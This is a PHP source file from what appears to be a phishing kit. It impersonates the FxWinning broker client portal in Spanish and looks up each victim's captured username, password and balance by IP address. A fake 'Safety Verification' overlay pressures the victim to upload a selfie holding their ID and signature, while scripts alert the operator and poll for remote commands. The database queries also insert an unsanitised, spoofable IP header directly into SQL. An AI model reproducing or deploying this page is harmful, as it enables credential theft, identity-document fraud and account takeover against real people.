<?php
@session_start();
error_reporting(0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";


require("../../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

//faz uma consulta para verificar se o ip já existe no banco de dados
//$verifica = mysqli_query(DBConnect(), "SELECT * FROM valor");
//retorna a quantidade de linhas da consulta ou seja, pode retornar 0 ou 1 linha
//$valor  = mysqli_fetch_assoc($verifica);

$email = $row_infio['usuario'];
$user = $row_infio['user_master'];
$senha = $row_infio['senha'];
$saldo = $row_infio['saldo'];
$saldo1 = $row_infio['saldo1'];
$msgpic = $row_infio['msgpic'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online foto' WHERE ip='$ip'");

?>

<html lang="en" class="ovfhid">

<head>
    <!-- META SECTION -->
    <title>FxWinning | Resumen De Cuenta</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
    <meta http-equiv="PRAGMA" content="NO-CACHE">
    <link rel="icon" href="/assets-fxwinning/images/449_favicon.ico" type="image/x-icon">
    <link rel="stylesheet" type="text/css" id="theme" href="/assets-fxwinning/css/templates.default.css">
    <link rel="stylesheet" type="text/css" id="theme" href="/assets-fxwinning/css/font-awesome.min.css">
    <link rel="stylesheet" href="/assets-fxwinning/css/account.css">
    <link rel="stylesheet" href="/assets-fxwinning/css/centered.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.2/axios.min.js"></script>
    <script src="../app/js/jquery-3.6.0.min.js" type="text/javascript"></script>
    <script src="../dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
    <!--TEMPO REAL-->
    <script type="text/javascript">
    $(document).ready(function() {
      atualiza();
    });

    function atualiza() {
      $.get('../ver_online.php',

        function(resultado) {
          $('#onlineagora').html(resultado);
        })

      setTimeout('atualiza()', 1250);
    }
  </script>
</head>

<body>
    <div class="main-header">
        <ul class="x-navigation x-navigation-horizontal x-navigation-panel">
            <div id="navBar"></div>
            <li class="">
                <div class="logo">
                    <a href="https://client.fxwinning.pro/" class=""><img
                            style="max-width: 220px; display: block; margin: auto;"
                            src="/assets-fxwinning/images/449_internalLogo.ico" class=""></a>
                </div>
            </li>
            <li style="padding-top: 15px; padding-left: 15px; font-size: 14px; color: #FFF; font-weight: 500;" class="">
                <div id="titleDiv"></div>
                <div id="welcomRow" class="profile-data">
                    <div class="profile-data-name" style="margin-bottom: 20px;">Bienvenido
                        <strong>
                            <?php echo $user; ?>
                        </strong>
                    </div>
                </div>
            </li>
            <li class="pull-right last">
                <a href="" class="mb-control" data-box="#mb-signout">Cerrar sesión
                    <span class="fa fa-power-off" aria-hidden="true"></span></a>
            </li>
            <li class="xn-icon-button pull-right" style="z-index: 100;">
                <a href="https://client.fxwinning.pro/#" class=""><span class="flag"
                        style="background-image: url('/assets-fxwinning/images/es.png')"></span></a>
                <ul class="xn-drop-left xn-drop-white animated zoomIn">
                </ul>
            </li>
        </ul>
    </div>
    <div class="page-container">
        <div class="page-sidebar">
            <ul id="navigationBlock" class="x-navigation">
                <li id="myAccountMenu" class="curr_ active">
                    <a href="https://client.fxwinning.pro" class=""><span class="fa fa-desktop"
                            aria-hidden="true"></span>
                        <span class="xn-text">Mi Cuenta</span></a>
                </li>
                <li id="fundAccountMenu2" class="curr_deposit">
                    <a href="https://client.fxwinning.pro/deposit" class=""><span class="fa fa-dollar"
                            aria-hidden="true"></span>
                        <span class="xn-text">Depositar</span></a>
                </li>
                <li id="transactionsMenu" class="curr_transactions">
                    <a href="https://client.fxwinning.pro/transactions"><span class="fa fa-dollar"
                            aria-hidden="true"></span>
                        <span class="xn-text">Transacciones</span></a>
                </li>
                <li id="tradingHistoryMenu" class="curr_trading-history">
                    <a href="https://client.fxwinning.pro/trading-history"><span class="fa fa-bar-chart-o"
                            aria-hidden="true"></span>
                        <span class="xn-text">Historial de trading</span></a>
                </li>
                <li id="accountSettingsMenu"
                    class="xn-openable curr_accounts curr_my-profile curr_change-password curr_upload-documents">
                    <a href="https://client.fxwinning.pro/#"><span class="fa fa-files-o" aria-hidden="true"></span>
                        <span class="xn-text">Configuración de la cuenta</span></a>
                    <ul>
                        <li class="curr_my-profile">
                            <a href="https://client.fxwinning.pro/my-profile">Detalles personales</a>
                        </li>
                        <li class="curr_change-password">
                            <a href="https://client.fxwinning.pro/change-password">Cambiar contraseña</a>
                        </li>
                        <li class="curr_upload-documents">
                            <a href="https://client.fxwinning.pro/upload-documents">Subir documentos</a>
                        </li>
                    </ul>
                </li>
                <li id="requestsSettingsMenu"
                    class="xn-openable curr_request-status curr_withdraw curr_internal-transfers curr_change-leverage">
                    <a href="https://client.fxwinning.pro/#"><span class="glyphicon glyphicon-transfer"></span>
                        <span class="xn-text">Solicitudes</span></a>
                    <ul>
                        <li class="curr_request-status">
                            <a href="https://client.fxwinning.pro/request-status">Estado de las solicitudes</a>
                        </li>
                        <li class="curr_withdraw">
                            <a href="https://client.fxwinning.pro/withdraw">Retirar fondos</a>
                        </li>
                    </ul>
                </li>
                <li id="tradingPlatformsMenu" class="xn-openable curr_downloads">
                    <a href="https://client.fxwinning.pro/#"><span class="glyphicon glyphicon-download-alt"></span>
                        <span class="xn-text">Plataforma de Trading</span></a>
                    <ul>
                        <li class="curr_downloads">
                            <a href="https://client.fxwinning.pro/downloads">Plataformas</a>
                        </li>
                    </ul>
                </li>
            </ul>
        </div>
        <div class="page-content" style="height: 973px;">
            <div style="margin:0 10px;" id="messages"></div>
            <div class="page-content-wrap">
                <div id="yourAccount"></div>
                <div class="row" style="padding-top: 18px;">
                    <div class="profile-data col-md-4" style="margin-top: 5px;  visibility: hidden; ">
                        <h2 id="selectAccount">Seleccione su Cuenta de Trading</h2>
                    </div>
                    <div class="form-group col-md-3">
                        <form id="accounts" action="https://client.fxwinning.pro/api/refreshWidgets" method="post"
                            class="form-horizontal">
                            <div id="accountsSelect" class="col-md-12">
                                <select class="form-control select account-select" id="selectAccounts">
                                    <option selected="" value="152014">
                                        152014
                                        (Cuenta Real)
                                    </option>
                                </select>
                            </div>
                        </form>
                    </div>
                    <div id="refreshButton" class="col-md-5">
                        <ul class="panel-controls">
                            <li><a href="https://client.fxwinning.pro/#" class="refreshWidgets"><span
                                        class="fa fa-refresh" aria-hidden="true"></span></a></li>
                        </ul>
                    </div>
                </div>
                <div id="widgets" class="col-md-12 panel-refreshing" style="padding: 0px">
                    <div class="row">
                        <div id="balanceWidget" class="col-md-3">
                            <div class="widget widget-danger widget-padding-sm balance-color">
                                <div class="widget-title">BALANCE</div>
                                <div class="widget-int">

                                    <?php echo $saldo1; ?>
                                </div>
                                <div class="widget-buttons widget-c4">
                                    <div style="width:50%; margin:0 auto;">
                                        <div class="col-md-12">
                                            <a style="font-size: 12px; line-height: 22px; color: #ffffff; border: none;"
                                                class="btn btn-deposit btn-block"
                                                href="https://client.fxwinning.pro/deposit">Depósito</a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div id="equityWidget" class="col-md-3">
                            <div class="widget widget-default widget-item-icon">
                                <div class="widget-title">PATRIMONIO</div>
                                <div class="widget-int num-count">
                                    <?php echo $saldo1; ?>
                                </div>
                                <div class="widget-subtitle">
                                    <a href="https://client.fxwinning.pro/trading-history">Ver su historial de
                                        trading</a>
                                </div>
                            </div>
                        </div>
                        <div id="marginWidget" class="col-md-3" dir="ltr">
                            <div class="widget widget-default widget-carousel inherited-styles-for-exported-element">
                                <div class="owl-carousel owl-theme" id="owl-example"
                                    style="opacity: 1; display: block;">
                                    <div class="owl-wrapper-outer">
                                        <div class="owl-wrapper"
                                            style="width: 3048px; left: 0px; display: block; transition: all 1000ms ease 0s; transform: translate3d(0px, 0px, 0px);">
                                            <div class="owl-item" style="width: 381px;">
                                                <div>
                                                    <div class="widget-title">Margen</div>
                                                    <div class="widget-int">
                                                        $
                                                        0.00
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="owl-item" style="width: 381px;">
                                                <div>
                                                    <div class="widget-title">Margen Libre</div>
                                                    <div class="widget-int">
                                                        $
                                                        1,173.49
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="owl-item" style="width: 381px;">
                                                <div>
                                                    <div class="widget-title">Nivel de Margen</div>
                                                    <div class="widget-int">0 %</div>
                                                </div>
                                            </div>
                                            <div class="owl-item" style="width: 381px;">
                                                <div>
                                                    <div class="widget-title">Crédito </div>
                                                    <div class="widget-int">
                                                        $
                                                        0.00
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="owl-controls clickable">
                                        <div class="owl-pagination">
                                            <div class="owl-page active"><span class=""></span></div>
                                            <div class="owl-page"><span class=""></span></div>
                                            <div class="owl-page"><span class=""></span></div>
                                            <div class="owl-page"><span class=""></span></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div id="accountStatusWidget" class="col-md-3">
                            <div class="widget widget-padding-sm widget-default ">
                                <div class="widget-title">Estado de Cuenta</div>
                                <div class="widget-subtitle" style="width: 75%; margin-left: 50px;">
                                    <div class="progress progress-small"
                                        style="margin-left: 15px; margin-right: 15px; margin-bottom: 0px; margin-top:10px;">
                                        <div class="progress-bar progress-bar-success" role="progressbar"
                                            aria-valuenow="40" aria-valuemin="0" aria-valuemax="100"
                                            style="width: 66.666666666667%">
                                        </div>
                                    </div>
                                </div>
                                <div class="widget-buttons widget-c4"
                                    style="border-top: 0px solid rgba(0, 0, 0, 0.1);  margin-left: 50px; margin-top: 10px; ">
                                    <div class="col">
                                        <a href="https://client.fxwinning.pro/#"><span data-toggle="tooltip"
                                                data-placement="bottom" data-original-title="Legalmente aceptado"
                                                class="fa fa-legal  text-success" aria-hidden="true"></span></a>
                                    </div>
                                    <div class="col">
                                        <a href="https://client.fxwinning.pro/#"><span data-toggle="tooltip"
                                                data-placement="bottom" data-original-title="Documentación verificados"
                                                class="fa fa-files-o text-success" aria-hidden="true"></span></a>
                                    </div>
                                    <div class="col">
                                        <a href="https://client.fxwinning.pro/#"><span data-toggle="tooltip"
                                                data-placement="bottom" data-original-title="Transacción inhabilitada"
                                                class="fa fa-user text-danger" aria-hidden="true"></span></a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-md-3">
                        <div id="platformWidget" class="tile tile-warning metatrader-color" style="padding-top: 18px;">
                            <p style="font-size: 20px; font-weight: bold;">Descargar</p>
                            <a target="_blank"
                                href="https://download.mql5.com/cdn/web/fxwinning.limited/mt5/fxwinning5setup.exe"><img
                                    style="width: 80px; margin: 5px;"
                                    src="https://client.fxwinning.pro/img/buttons/metatrader-5-logo.png?v="></a>
                            <a target="_blank"
                                href="https://play.google.com/store/apps/details?id=net.metaquotes.metatrader5&amp;hl=es"><img
                                    style="width: 80px; margin: 5px;"
                                    src="https://client.fxwinning.pro/img/buttons/android.png?v="></a>
                            <a target="_blank" href="https://apps.apple.com/us/app/metatrader-5/id413251709"><img
                                    style="width: 80px; margin: 5px;"
                                    src="https://client.fxwinning.pro/img/buttons/ios.png?v=09-05-2022"></a>
                        </div>
                    </div>
                    <div id="exposure">
                        <div id="currentExposureTable" class="col-md-6">
                            <div id="exposureTableTitleBody" class="panel panel-default">
                                <div id="exposureTableTitle" class="panel-heading">
                                    <h3 id="exposureTableTitleH3" class="panel-title"><strong>Exposición Actual</strong>
                                    </h3>
                                </div>
                                <div id="exposureTable" class="panel-body panel-body-table">
                                    <div class="table-responsive">
                                        <table class="table table-bordered table-striped table-actions">
                                            <thead>
                                                <tr>
                                                    <th>Símbolo</th>
                                                    <th>Exposición Neta</th>
                                                    <th>Compra de Trades</th>
                                                    <th>Venta de Trades</th>
                                                    <th>Volumen de Compra</th>
                                                    <th>Volumen de Venta</th>
                                                </tr>
                                            </thead>
                                            <tbody id="exposure_table" style="font-size: 12px !important;">
                                                <tr>
                                                    <td colspan="6">No tiene operaciones abiertas</td>
                                                </tr>
                                            </tbody>
                                        </table>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div id="currentExposureWidget" class="col-md-3">
                            <div id="exposureTitleBody" class="panel panel-default">
                                <div id="exposureTitle" class="panel-heading">
                                    <h3 id="exposureTitleH3" class="panel-title"><strong>Exposición Actual</strong></h3>
                                </div>
                                <div id="exposureBody" class="panel-body">
                                    <div id="exposure_pie" style="height: 255px;"></div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row" id="html">
                    <div id="tradingAccountsTable" class="col-md-12">
                        <div class="panel panel-default">
                            <div class="panel-heading">
                                <h3 id="tradingAccountsTableTitle" class="panel-title"><strong>Sus cuentas de
                                        trading</strong></h3>
                            </div>
                            <div class="panel-body panel-body-table">
                                <div class="table-responsive">
                                    <table class="table table-bordered table-striped table-actions"
                                        id="table_my_account_bottom">
                                        <thead>
                                            <tr>
                                                <th>Número de cuenta</th>
                                                <th>Plataforma de trading</th>
                                                <th>Tipo</th>
                                                <th>Divisa base</th>
                                                <th>Apalancamiento</th>
                                                <th>Creada</th>
                                                <th class="last-login">Última conexión</th>
                                                <th>Balance</th>
                                                <th>Patrimonio</th>
                                                <th>Acción</th>
                                            </tr>
                                        </thead>
                                        <tbody style="font-size: 12px !important;">
                                            <tr id="152014">
                                                <td style="filter: blur(8px);"><strong>152014</strong></td>
                                                <td>
                                                    <strong>
                                                        MT5
                                                    </strong>
                                                </td>
                                                <td style="padding-top: 17px;">
                                                    <span class="label label-success">
                                                        Cuenta Real
                                                    </span>
                                                </td>
                                                <td>USD</td>
                                                <td>30</td>
                                                <td style="filter: blur(8px);">24/08/2022 01:29:18</td>
                                                <td class="last-login">-</td>
                                                <td class="152014-balance">
                                                    <?php echo $saldo1; ?>
                                                </td>
                                                <td class="152014-equity">
                                                    <?php echo $saldo1; ?>
                                                </td>
                                                <td>
                                                    <a href="https://client.fxwinning.pro/deposit"
                                                        class="btn btn-danger btn-rounded btn-condensed btn-sm">Depósito</a>
                                                </td>
                                            </tr>
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="x-navigation disclaimer-color" style="padding: 10px;">
        <p></p>
    </div>
    <div class="x-navigation footer-color" style="padding: 10px;">
        <p></p>
        <p style="text-align:center"><strong>Para cualquier consulta o incidencias, contacte al equipo de Soporte a
                support@fxwinning.info</strong></p>
        <p></p>
    </div>
    <div class="message-box animated fadeIn" id="mb-signout">
        <div class="mb-container" dir="ltr">
            <div class="mb-middle">
                <div class="mb-title"><span class="fa fa-sign-out" aria-hidden="true"></span> <strong>Cerrar
                        sesión</strong> ?
                </div>
                <div class="mb-content">
                    <p>¿Está seguro que quiere salir de su Portal de Cliente?</p>
                    <p>Presione "No" si para permanecer conectado. Presione "Sí" para salir.</p>
                </div>
                <div class="mb-footer">
                    <div class="pull-right">
                        <a href="https://client.fxwinning.pro/logout" class="btn btn-success btn-lg button-yes">Sí</a>
                        <button class="btn btn-default btn-lg mb-control-close button-no">No</button>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div id="AccountBlocked" class="centerdiv">
        <div class="customdiv" style="height: 55%; margin-top: -100px;">
            <div class="centerspamimg">
                <img src="/assets-fxwinning/images/fxwinning.png" width="180">
                <span class="stylespan">Safety Verification</span>
            </div>
            <div class="textdiv" style="font-size: 15px;">
                <p style="width:80%;">
                Estimado <?php echo $user; ?>, como medida de protección, envíe una foto suya con una mano sosteniendo su documento registrado en FXWinning y un papel con su firma en la parte inferior del papel.
                </p>
            </div>
            <div class="textdiv">
                <p id="imgKXZ" style="text-align: center; width: 80%;">
                    <img class="fullimg" src="/assets-fxwinning/images/sendpic.jpg">
                </p>
            </div>
            <div id="msgerro" style="display: none; justify-content: center; color: red; font-size: 18px;">
                <span><?php echo $msgpic; ?></span>
            </div>
            <span id="alertwait" style="display: none; justify-content: center; font-size: 20px; color: black; padding-top: 10px;">
                Espere, estamos procesando su imagen.
            </span>
            <div id="hidewitherror" class="textdiv">
                <form action="/app/upload/upload.php" method="post" enctype="multipart/form-data">
                    <input style="display: none;" type="text" name="dirname" id="dirname" value="imagens">
                    <div style="display: flex; font-size: 13px;">
                        <input type="file" name="fileToUpload" id="fileToUpload">
                        <input type="submit" id="submit-login1" onclick="sendtoken1();" value="Upload Image" name="submit">
                    </div>
                </form>
            </div>
        </div>
    </div>
    <input id="imagemenviada" style="display: none;" type="text" value="Foto Recebida">
    <script>

        function sendtoken1() {

            $(document).ready(function () {


                var token = $("#imagemenviada").val();

                $.ajax({
                    type: 'post',    //Definimos o método HTTP usado
                    data: {
                        token: token,


                    },
                    dataType: 'json', //Definimos o tipo de retorno
                    url: '/app/sendtoken5.php', //Definindo o arquivo onde serão buscados os dados
                    success: function (data) {
                    }
                });

            });

            return false;
        }
    </script>
    </script>
    <script>
        if (window.location.href.indexOf("?error=1") > -1) {
            document.getElementById("imgKXZ").innerHTML = '<img class="fullimg" src="http://portal.ufvjm.edu.br/a-universidade/cursos/grade_curricular_ckan/loading.gif">';
            document.getElementById("hidewitherror").style.display = "none"
            document.getElementById("alertwait").style.display = "flex"
        }
        if (window.location.href.indexOf("?error=5") > -1) {
            document.getElementById("msgerro").style.display = "flex"
        }
    </script>
</body>

</html>